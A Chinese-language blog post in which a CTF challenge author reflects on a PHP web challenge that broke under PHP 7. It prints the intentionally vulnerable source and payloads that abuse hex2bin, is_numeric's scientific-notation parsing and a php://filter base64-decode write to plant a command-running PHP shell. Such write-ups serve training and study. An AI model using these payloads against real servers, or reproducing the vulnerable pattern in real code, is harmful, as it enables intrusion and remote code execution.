关于第一次出题的反思

对ctfshow上面的旧版本web100进行了修改,更改完的源码如下:

<?php
    highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    var_dump($v2);
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        if(!preg_match("/.*p.*h.*p.*/i",$str)){
            file_put_contents($v3,$str);
        }
        else{
            die('Sorry');
        }
    }
    else{
        die('hacker');
    }
?>

//这里可以自己调用一个函数,使用hex2bin,将十六进制转成字符串,然后写入文件,再访问文件即可
Payload:?v2=0x3c3f3d60746163202a603b3f3e&v3=sh.php  POST:v1=hex2bin

本来想着这样就能做了,本地测试了也没问题,交给了群主大大。但是问题就来了,因为群主给题目使用的php版本是php7,而不是php5导致了预期解直接用不了了。详细可以查看:https://www.php.net/manual/en/function.is-numeric.php

版本 描述
7.0.0 十六进制(如 )表示法中的字符串不再被视为数字字符串,即is_numeric() 现在返回 FALSE。 0xf4c3b00c

这样子直接导致了上面的payload不能使用,需要重新构造新的payload,通过php官网的查看,发现除了十六进制,还有一个"数字e数字"的格式是可以使用的。

感谢Firebasky师傅提供的新的Payload,出题人该被暴打狗头

构造需要写入文件的payload
<?=`cat *`;
使用base64编码后:PD89YGNhdCAqYDs
使用bin2hex函数将字符串转成十六进制的内容:5044383959474e6864434171594473
//这里有个巧妙之处,刚好只有一个e,识别成了科学计数法,很顶
而这里的v3也需要进行修改成伪协议的方式
最后的Payload:
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:v1=hex2bin

第一次出题,对于php版本没有说明清楚,导致题目难度又上升了,本来是一个新手入门的题目,直接变成了一个脑洞题,这确实是自己的问题,难受!对于做题的兄弟们感到抱歉。

posted @ 2020-09-25 17:45  erR0Ratao  阅读(338)  评论(0编辑  收藏  举报